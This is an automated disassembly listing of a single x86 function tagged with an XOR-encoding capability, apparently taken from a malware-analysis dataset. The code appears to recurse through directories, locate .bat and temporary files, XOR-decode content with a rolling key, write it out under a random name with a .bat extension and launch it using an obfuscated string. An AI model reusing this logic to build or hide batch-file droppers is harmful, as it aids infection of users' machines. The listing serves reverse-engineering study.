Function at 0x1002cff8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xb10
mov edi, dword [ebp + 8]
movzx eax, word [0x100425c6]
mov word [esp + 0x2c], ax
movsd xmm0, qword [str..bat]
movsd qword [esp + 0x24], xmm0
movzx eax, word [0x10042524]
mov word [esp + 0x5c], ax
movsd xmm0, qword [str.tmp_]
movsd qword [esp + 0x54], xmm0
lea esi, [esp + 0x38]
mov ecx, esi
call fcn.10013ddc
mov ecx, esi
push edi
call fcn.10013e6e
mov ecx, esi
push 0x1003fd64
call fcn.10014114
lea esi, [esp + 0x6fc]
push 0x208
push 0
push esi
call fcn.10031f20
add esp, 0xc
push edi
push 0x10040510
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x1003fd72
push esi
call fcn.10032128
add esp, 8
test eax, eax
je 0x1002d09b
mov word [eax], 0
lea eax, [esp + 0x2a4]
push eax
push dword [esp + 0x3c]
call fcn.10014f78
cmp eax, 0xffffffff
je 0x1002d4d7
mov esi, eax
lea ebx, [esp + 0x904]
mov dword [esp + 8], eax
cmp word [esp + 0x2d0], 0x2e
jne 0x1002d0f3
movzx eax, word [esp + 0x2d2]
test ax, ax
je 0x1002d1aa
cmp ax, 0x2e
jne 0x1002d0f3
cmp word [esp + 0x2d4], 0
je 0x1002d1aa
test byte [esp + 0x2a4], 0x10
jne 0x1002d16f
cmp dword [ebp + 0xc], 0
je 0x1002d1aa
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x2d4]
push eax
call fcn.10032128
add esp, 8
test eax, eax
je 0x1002d1aa
mov esi, ebx
lea eax, [esp + 0x54]
push eax
lea ebx, [esp + 0x2d4]
push ebx
call fcn.10032128
add esp, 8
test eax, eax
je 0x1002d1c5
push 0x208
push 0
push esi
call fcn.10031f20
add esp, 0xc
push edi
push esi
call fcn.10002fb0
push ebx
mov ebx, esi
push esi
call fcn.10003084
push esi
call fcn.100034a8
mov esi, dword [esp + 8]
jmp 0x1002d1aa
push 0x208
push 0
push ebx
call fcn.10031f20
add esp, 0xc
push edi
push ebx
call fcn.10002fb0
lea eax, [esp + 0x2d0]
push eax
push ebx
call fcn.10003084
push 0x1003fd72
push ebx
call fcn.10003084
push 1
push ebx
call fcn.1002cff8
add esp, 8
lea eax, [esp + 0x2a4]
push eax
push esi
call fcn.10015056
test eax, eax
jne 0x1002d0c2
jmp 0x1002d4cd
push 0x208
push 0
push esi
call fcn.10031f20
add esp, 0xc
push edi
push esi
call fcn.10002fb0
push ebx
mov ebx, esi
push esi
call fcn.10003084
push esi
call fcn.10014bd8
add esp, 4
test eax, eax
mov esi, dword [esp + 8]
je 0x1002d458
push eax
mov dword [esp + 8], eax
call fcn.10031fb0
add esp, 4
mov edi, eax
push dword [esp + 4]
push 0
push eax
call fcn.10031f20
add esp, 0xc
push edi
push ebx
call fcn.100148f4
add esp, 8
test eax, eax
je 0x1002d234
push edi
call fcn.100011b5
add esp, 4
jmp 0x1002d458
mov edx, dword [esp + 4]
test edx, edx
jle 0x1002d24b
xor eax, eax
mov cl, 0x6d
xor byte [edi + eax], cl
inc eax
add cl, 0xaa
cmp edx, eax
jne 0x1002d240
mov dword [esp], edi
lea edi, [esp + 0x10]
mov ecx, edi
call fcn.10013ddc
mov dword [esp + 0x34], 0x20
mov dword [esp + 0x30], 0x640063
mov ecx, edi
lea eax, [esp + 0x6fc]
push eax
call fcn.10013e6e
mov ecx, edi
mov eax, 0x10040500
push eax
call fcn.10014114
mov ecx, edi
lea eax, [esp + 0x30]
push eax
call fcn.10014114
mov ecx, edi
mov eax, 0x1003f9ea
push eax
call fcn.10014114
mov ecx, edi
push dword [ebp + 8]
call fcn.10014114
mov ecx, edi
mov eax, 0x1003f9ea
push eax
call fcn.10014114
mov ecx, edi
mov eax, 0x10040500
push eax
call fcn.10014114
mov ecx, edi
xor eax, eax
push eax
call fcn.1001421c
mov edi, 0x208
push edi
xor eax, eax
push eax
lea eax, [esp + 0x4fc]
push eax
call fcn.10031f20
add esp, 0xc
movups xmm0, xmmword [str._temp__]
movups xmmword [esp + 0x8c], xmm0
push edi
lea eax, [esp + 0x4f8]
push eax
lea eax, [esp + 0x94]
push eax
call fcn.100033c4
push edi
xor eax, eax
push eax
lea edi, [esp + 0xa4]
push edi
call fcn.10031f20
add esp, 0xc
xorps xmm0, xmm0
movaps xmmword [esp + 0x70], xmm0
movaps xmmword [esp + 0x60], xmm0
push 0x270f
call fcn.1001a2aa
add esp, 4
add eax, 0x3e8
push eax
push 0x100404f6
lea edi, [esp + 0x68]
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [esp + 0x9c]
push ecx
xor eax, eax
push eax
push edi
mov edi, ecx
lea eax, [esp + 0x500]
push eax
call fcn.1002d514
test eax, eax
jne 0x1002d389
lea eax, [esp + 0x4f4]
push eax
push edi
call fcn.10002fb0
lea eax, [esp + 0x60]
push eax
push edi
call fcn.10003084
push edi
call fcn.10002bee
cmp word [esp + eax*2 + 0x9a], 0x70
jne 0x1002d3e6
cmp word [esp + eax*2 + 0x98], 0x6d
jne 0x1002d3e6
cmp word [esp + eax*2 + 0x96], 0x74
jne 0x1002d3e6
cmp word [esp + eax*2 + 0x94], 0x2e
jne 0x1002d3e6
push edi
mov dword [esp + 0x10], eax
call fcn.100034a8
push edi
call fcn.100034a8
mov eax, dword [esp + 0xc]
mov dword [esp + eax*2 + 0x96], 0x610062
mov word [esp + eax*2 + 0x9a], 0x74
jmp 0x1002d3f1
lea eax, [esp + 0x24]
push eax
push edi
call fcn.10003084
mov byte [esp + 0x20], 0
mov dword [esp + 0x1c], 0x3025206c
mov dword [esp + 0x18], 0x65640a0d
push dword [esp + 0x14]
push dword [esp + 0x14]
push edi
call fcn.10014b2c
add esp, 0xc
test eax, eax
jne 0x1002d444
push dword [esp + 4]
push dword [esp + 4]
push edi
call fcn.10015366
add esp, 0xc
test eax, eax
jne 0x1002d444
push 9
lea eax, [esp + 0x1c]
push eax
push edi
call fcn.10015366
add esp, 0xc
test eax, eax
je 0x1002d460
push dword [esp]
call fcn.100011b5
add esp, 4
lea ecx, [esp + 0x10]
call fcn.10013eba
mov edi, dword [ebp + 8]
jmp 0x1002d1aa
mov eax, dword [esp]
cmp byte [eax], 0
je 0x1002d471
push eax
call fcn.100011b5
add esp, 4
mov dword [esp + 0x44], 0xefb0efb8
mov word [esp + 0x48], 0xefdf
mov word [esp + 0x52], 0
mov dword [esp + 0x40], 0xefac006f
movups xmm0, xmmword [esp + 0x42]
xorps xmm0, xmmword [0x10041fa0]
movups xmmword [esp + 0x42], xmm0
xor eax, eax
push eax
push eax
push eax
push edi
lea ecx, [esp + 0x50]
push ecx
push eax
call fcn.100228f0
test eax, eax
je 0x1002d4c1
push ebx
call fcn.100034a8
push ebx
call fcn.100034a8
push 0xc8
call fcn.100151f2
jmp 0x1002d44f
push esi
call fcn.1001512e
xor esi, esi
jmp 0x1002d4da
xor esi, esi
inc esi
lea ecx, [esp + 0x38]
call fcn.10013eba
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret